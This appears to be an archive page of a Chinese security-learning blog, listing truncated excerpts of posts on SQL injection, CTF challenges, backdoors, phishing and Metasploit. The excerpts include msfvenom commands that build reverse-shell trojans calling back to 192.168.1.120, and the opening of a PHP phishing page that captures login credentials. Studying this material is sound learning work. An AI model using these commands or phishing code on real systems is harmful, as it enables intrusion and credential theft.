归档 | Broken-year

2022

03

26

sql注入

Sql注入sql语法show databases; //查看数据库 use [数据库库名]; show tables; //查看库中有几张表 select * from table1; //查看table1中所有数据 union 联合 /

2022-03-26 网络安全

25

攻防世界Web进阶篇

web进阶篇baby_web根据提示想到初始页面index.php，但是会一直跳转到1.php里，按f12打开index.php,在响应头里找到flag warmup开局一张滑稽，查看源码找到source.php,代码审计，查看hint.

2022-03-25 网络安全

网络安全 web 攻防世界 CTF

24

手机木马移动安全以及拒绝服务攻击

认识手机木马以及移动安全android基于linux 开发语言java 应用广泛：什么地方都有java虚拟机但是： java->臃肿->java虚拟机->c语言->机器语言->操作系统苹果： oc/

2022-03-24 网络安全

网络安全 android 木马 DDOS 拒绝服务攻击

24

系统后门

认识系统后门meterpreter创建系统后门创建x64木马 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4444 -f exe >

2022-03-24 网络安全

网络安全后门 msf 渗透 windows

24

社会工程学

社会工程学认识网络钓鱼：使用网站克隆工具实在不行，用手写 PHPstudy 新建php文件： <?php $username = $_POST['TextBoxUserName']; $password = $_POST['Text

2022-03-24 网络安全

网络安全信息搜集社会工程学

23

系统防火墙原理及突破

系统防火墙原理及突破数据和嗅探：目标电脑上msf运行木马后 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4444 -f exe -o m

2022-03-23 网络安全

网络安全渗透 windows 防火墙

23

操作系统权限及信息采集

操作系统权限及信息采集系统权限windowssystemadministrator(others) linuxroot(others) 计算机组成相关权限CPU:OS（操作系统——可以在其身上安装其他软件的软件，需要配合硬件）ring0 权

2022-03-23 网络安全

Linux 操作系统 Windows 安全权限

23

MSF框架以及使用

MSF框架以及使用msfconsole //打开msf 在msf里可以使用别的工具，比如nmap nmap -sV [ip] //扫描一下 msf如果攻击对方需要条件： 1.要有漏洞 2.攻击载荷 ms17010use explo

2022-03-23 网络安全

msf 工具 kali 漏洞

23

web漏洞介绍

其他web漏洞介绍靶场DVWA网上下载自己部署就好了 Brute Force暴力破解可以仔细观察密码输入错误和正确的页面返回大小是不一样的使用burp抓包，send to intruder，调整相应参数后进行攻击。 sinper模

2022-03-23 网络安全

网络安全 web 漏洞

23

sql注入工具的使用

SQL注入工具的使用网站的一些组合windows+iis（网站服务器）+asp/aspx(asp.net)+access/mssql【企业内部使用概率大】【打下来是普通用户权限】windows+apache+php+my

2022-03-23 网络安全

网络安全工具使用 web sql sql注入